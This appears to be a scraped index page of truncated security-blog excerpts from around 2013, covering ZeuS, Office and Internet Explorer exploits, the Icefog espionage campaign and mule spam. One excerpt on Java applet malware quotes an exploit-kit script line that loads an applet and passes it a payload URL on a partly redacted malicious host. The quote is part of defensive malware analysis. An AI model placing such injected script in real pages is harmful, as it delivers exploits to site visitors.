Malware in Metadata
One of the systems I have been running collects all our web malware detections for .ES domains. I usually check it out every morning, just in case I see something especially interesting or relevant. And when I find something, I like to create some statistics to have a global overview. There are some things that I find every time I check my stats, like URLs that have been infected for more than 200
The Inevitable Move – 64-bit ZeuS Enhanced With Tor
The more people switch to 64-bit platforms, the more 64-bit malware appears. We have been following this process for several years now. The more people work on 64-bit platforms, the more 64-bit applications that are developed as well. Sometimes these include some very specific applications, for example, banking applications…. If someone wants to hack into an application like this and steal informa
The rush for CVE-2013-3906 – a Hot Commodity
Two days ago FireEye reported that the recent CVE-2013-3906 exploit has begun to be used by new threat actors other than the original ones. The new infected documents share similarities with previously detected exploits but carry a different payload. This time these exploits are being used to deliver Taidoor and PlugX backdoors, according to FireEye. At Kaspersky Lab we have also detected that yet
CVE-2013-3906 : Another 0-day for Microsoft Office
On November 5, Microsoft announced the discovery of a new vulnerability CVE-2013-3906 which can be exploited when TIFF images are processed. By exploiting this vulnerability it is possible to attack software – including Microsoft Office and Lync – that uses a vulnerable DLL for processing TIFF images. On the same day, there were reports that Microsoft had recorded attacks that exploit CVE-2013-390
Targeted exploit for CVE-2013-3893
In September Microsoft published information about a new Internet Explorer vulnerability – CVE-2013-3893. The vulnerability affects IE versions 6 through 11 for platforms from Windows XP through Windows 8.1. Later in September, the company released a patch closing the vulnerability. Cybercriminals are happy to exploit such vulnerabilities because they are easy to monetize – the Internet Explorer r
Icefog OpenIOC Release
Yesterday we published our research on Icefog, a sophisticated cyber-espionage operation. You can read more about it here. We also have a detailed FAQ and in-depth report. We’re sharing Indicators of Compromise based on the OpenIOC framework for Icefog. This way organizations have an alternative way of checking their network for presence of (active) Icefog infections. You can download the ZIPed IO
The Icefog APT: A Tale of Cloak and Three Daggers
The emergence of small groups of cyber-mercenaries available for hire to perform surgical hit and run operations. The world of Advanced Persistent Threats (APTs) is well known. Skilled adversaries compromising high-profile victims and stealthily exfiltrating valuable data over the course of many years. Such teams sometimes count tens or even hundreds of people, going through terabytes or even peta
Mule Flood in Japan
Money mule recruitment emails are nothing new, for years these have been spammed out all over the globe. What is new though is the recent wave aimed at “English-speaking Japanese residents”. It started at the end of July and we have received hundreds of such themed spam emails since then. The content typically promises an easy job, just requiring some hours per week with very few other requirement
Anti-decompiling techniques in malicious Java Applets
Step 1: How this started While I was investigating the Trojan.JS.Iframe.aeq case (see blogpost) one of the files dropped by the Exploit Kit was an Applet exploiting a vulnerability: <script> document.write(‘<applet archive=“dyJhixy.jar” code=“QPAfQoaG.ZqnpOsRRk”><param value=“http://fast_DELETED_er14.biz/zHvFxj0QRZA/04az-G112lI05m_AF0Y_C5s0Ip-Vk05REX_0AOq_e0skJ/A0tqO-Z0hT_el0iDbi0-4pxr17_11r_09ERI
GCM in malicious attachments
Android OS offers an interesting service known as Google Cloud Messaging, or GCM. This service allows small (up to 4 KB) messages to be sent via the Google server from their mobile devices in JSON format. These messages may contain any structured data, such as links, advertising information, or commands. In order to use this service, a developer must first receive a unique ID for his applications,
Visit From an Old Friend: Counter.php
Around one year ago I posted about what were the most common web attacks in Spain and how the malware was spread. It is time for an update! We regularly collect data regarding infected web sites based in our detections on KSN. Apart from the general verdicts that I usually find in the top of the rank, there was another one in the top 3 for the last months that caught my eye: Trojan.JS.Iframe.aeq.
Blackhat USA 2013 Day 2
Double Fetch 0day, ICS/SCADA, and Remembering Barnaby Jack Blackhat 2013 day 2 brought 0day, a sad remembrance of young researcher Barnaby Jack, and ICS/SCADA security vulnerabilities and review. Highlights of day 2 included a mind blowing talk from Mateusz “j00ru” Jurczyk and Gynvael Coldwind, further exploring the kernel level double fetch vulnerability research that attracted interest since at
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
ZeuS – now packed as an antivirus update
Multimedia Overwriter with Spy Features
Sinkholing the Hlux/Kelihos Botnet – What Happened?
Android 4.4 Arrives With New Security Features – But Do They Really Matter?
Hackers Target High Profile Domains
HTTPS Working for Malicious Users
NSAccess Control Lists
DefCon21 2013